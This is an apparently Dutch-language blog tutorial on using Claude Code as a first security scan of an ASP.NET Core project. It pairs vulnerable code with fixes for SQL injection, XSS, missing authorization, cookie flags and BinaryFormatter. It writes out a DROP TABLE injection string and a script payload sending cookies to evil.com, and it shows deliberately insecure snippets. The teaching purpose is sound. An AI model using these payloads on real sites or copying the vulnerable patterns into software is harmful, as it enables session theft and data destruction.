Je erft een ASP.NET Core-applicatie. De vorige ontwikkelaar is vertrokken, documentatie is minimaal, en het management wil het systeem volgende maand naar productie brengen. Maar eerst moet jij beoordelen of die code veilig genoeg is.

Handmatig elke controller, elk endpoint en elke query nalopen kost weken. Een externe pentest is duur en staat pas over twee maanden gepland. Je hebt nu iets nodig dat je een eerlijk beeld geeft van de grootste risico’s.

Claude Code kan die eerste security-scan zijn.


De prompt die echte issues vindt

De meeste ontwikkelaars beginnen te vaag: “Is mijn code veilig?” Dat levert generieke adviezen op. Je wilt specifiek zijn over wat je zoekt.

Deze prompt heeft mij de beste resultaten gegeven:

Scan deze codebase op beveiligingsproblemen. Focus op de OWASP Top 10:
1. SQL injection en andere injection-kwetsbaarheden
2. Gebroken authenticatie en sessiebeheer
3. Cross-site scripting (XSS)
4. Onveilige directe objectreferenties
5. Security misconfiguratie
6. Gevoelige data-exposure (connection strings, secrets in code)
7. Ontbrekende autorisatiechecks
8. Onveilige deserialisatie

Geef per bevinding: locatie (bestand + regel), ernst (kritiek/hoog/medium/laag),
en een concrete fix met codevoorbeeld.

Claude Code leest je volledige project — controllers, services, middleware, configuratie — en komt terug met een gestructureerd rapport. Geen vage waarschuwingen, maar specifieke regelnummers met voorgestelde fixes.


SQL injection in Entity Framework

“Wij gebruiken Entity Framework, dus SQL injection is geen risico.” Dat hoor ik regelmatig. Het klopt voor LINQ-queries. Het klopt niet als iemand FromSqlRaw met string concatenation gebruikt.

Claude Code vond dit in een project dat ik reviewde:

// KWETSBAAR: string concatenation in raw SQL
public async Task<List<Product>> SearchProducts(string searchTerm)
{
    return await _context.Products
        .FromSqlRaw("SELECT * FROM Products WHERE Name LIKE '%" + searchTerm + "%'")
        .ToListAsync();
}

Klassieke SQL injection. Een aanvaller stuurt '; DROP TABLE Products; -- als zoekterm en je bent je data kwijt. Claude vlagde dit direct en gaf de fix:

// VEILIG: geparametriseerde query
public async Task<List<Product>> SearchProducts(string searchTerm)
{
    return await _context.Products
        .FromSqlRaw(
            "SELECT * FROM Products WHERE Name LIKE {0}",
            $"%{searchTerm}%")
        .ToListAsync();
}

Of beter nog, gebruik gewoon LINQ:

public async Task<List<Product>> SearchProducts(string searchTerm)
{
    return await _context.Products
        .Where(p => p.Name.Contains(searchTerm))
        .ToListAsync();
}

Dit soort kwetsbaarheden zitten vaak in legacy-code waar iemand “snel even” een complexe query moest schrijven. Ze zijn makkelijk te missen in een code review omdat de rest van het project wél veilig EF gebruikt.


XSS in Razor views

Razor HTML-encodeert standaard. Maar ontwikkelaars omzeilen dat regelmatig als ze HTML willen renderen — en vergeten dat de data van gebruikers kan komen.

Claude Code vond dit patroon:

<!-- KWETSBAAR: gebruikersinput wordt ongeëscaped gerenderd -->
<div class="user-bio">
    @Html.Raw(Model.Biography)
</div>

Als een gebruiker <script>document.location='https://evil.com/steal?c='+document.cookie</script> als biografie invoert, wordt dat script uitgevoerd in de browser van elke bezoeker. Claude stelde voor:

<!-- VEILIG: HTML sanitizen vóór rendering -->
<div class="user-bio">
    @Html.Raw(Html.Encode(Model.Biography))
</div>

Of gebruik een HTML sanitizer library zoals HtmlSanitizer als je bepaalde opmaak wilt toestaan:

var sanitizer = new HtmlSanitizer();
sanitizer.AllowedTags.Add("b");
sanitizer.AllowedTags.Add("i");
sanitizer.AllowedTags.Add("p");
var safeBio = sanitizer.Sanitize(user.Biography);

Claude checkt ook op @Html.Raw() in combinatie met data uit query strings, formuliervelden en database-records die oorspronkelijk door gebruikers zijn ingevoerd.


Authenticatie- en autorisatiegaten

Dit is waar Claude Code echt uitblinkt: patronen herkennen die afwijken van de rest van je code.

[ApiController]
[Route("api/[controller]")]
// Let op: GEEN [Authorize] attribuut
public class AdminReportsController : ControllerBase
{
    [HttpGet("revenue")]
    public async Task<IActionResult> GetRevenueReport()
    {
        // Gevoelige financiële data, toegankelijk zonder authenticatie
        var report = await _reportService.GetRevenueReport();
        return Ok(report);
    }
}

Claude ziet dat alle andere admin-controllers [Authorize(Roles = "Admin")] hebben en vlagt deze als afwijking. Het vindt ook onveilige cookie-instellingen:

// KWETSBAAR: cookies zonder beveiligingsvlaggen
services.ConfigureApplicationCookie(options =>
{
    options.Cookie.HttpOnly = false;  // JavaScript kan de cookie lezen
    options.Cookie.SecurePolicy = CookieSecurePolicy.None;  // Cookie gaat over HTTP
    options.Cookie.SameSite = SameSiteMode.None;  // Geen CSRF-bescherming
});

Claude stelt de veilige configuratie voor:

services.ConfigureApplicationCookie(options =>
{
    options.Cookie.HttpOnly = true;
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.SameSite = SameSiteMode.Strict;
    options.ExpireTimeSpan = TimeSpan.FromHours(2);
    options.SlidingExpiration = true;
});

Verder dan OWASP: .NET-specifieke issues

Claude kent de .NET-specifieke valkuilen die niet in de generieke OWASP-lijst staan.

BinaryFormatter. Microsoft heeft het niet voor niets deprecated. Toch duikt het op in legacy-code:

// GEVAARLIJK: BinaryFormatter staat willekeurige code-uitvoering toe
var formatter = new BinaryFormatter();
var obj = formatter.Deserialize(stream); // Remote Code Execution risico

Claude vlagt dit en stelt System.Text.Json of MessagePack voor als alternatief.

Debug endpoints in productie. Claude scant je Program.cs en middleware-configuratie op patronen als:

// Dit zou alleen in development mogen draaien
app.UseDeveloperExceptionPage();
app.MapGet("/debug/config", () => builder.Configuration.AsEnumerable());

Secrets in code. Connection strings, API keys, tokens — Claude vindt ze in appsettings.json, in hardcoded strings, en in comments die iemand “tijdelijk” had achtergelaten:

// TODO: verplaats naar Key Vault
private const string ApiKey = "sk-proj-abc123...";

Eerlijke beperkingen

Claude Code is geen pentest. Dat moet gezegd.

Het voert geen code uit. Claude leest je code en redeneert erover. Het kan geen runtime-kwetsbaarheden ontdekken die alleen optreden onder specifieke omstandigheden — race conditions, timing attacks, memory corruption.

Het mist infrastructuurproblemen. Misconfiguratie van je webserver, verouderde TLS-versies, open poorten — dat zit niet in je broncode en valt buiten wat Claude kan beoordelen.

Het kent je deployment niet. Of je applicatie achter een WAF draait, of er network segmentation is, of je database-gebruiker minimale rechten heeft — dat zijn cruciale beveiligingslagen die Claude niet kan zien.

Het vervangt geen security-specialist. Voor applicaties die gevoelige data verwerken — financiën, gezondheid, persoonsgegevens — heb je een professionele pentest nodig. Claude Code is je eerste filter, niet je laatste.

Wat Claude wél goed doet: het vindt de voor de hand liggende kwetsbaarheden die je in een handmatige review mist omdat je naar honderd bestanden staart. Het geeft je een geprioriteerde lijst om mee te beginnen. En het doet dat in minuten, niet in weken.


Begin hier

De volgende keer dat je twijfelt over de beveiliging van een .NET-project, open Claude Code in de root van het project en probeer dit:

Scan deze codebase op de 5 meest kritieke beveiligingsproblemen.
Focus op: injection-kwetsbaarheden, ontbrekende authenticatie/autorisatie,
gevoelige data in broncode, en onveilige configuratie.
Geef per bevinding een concrete fix.

Je krijgt geen vrijbrief om de pentest over te slaan. Maar je krijgt wel een eerlijk beeld van waar de grootste gaten zitten — en dat is precies wat je nodig hebt om te weten waar je moet beginnen.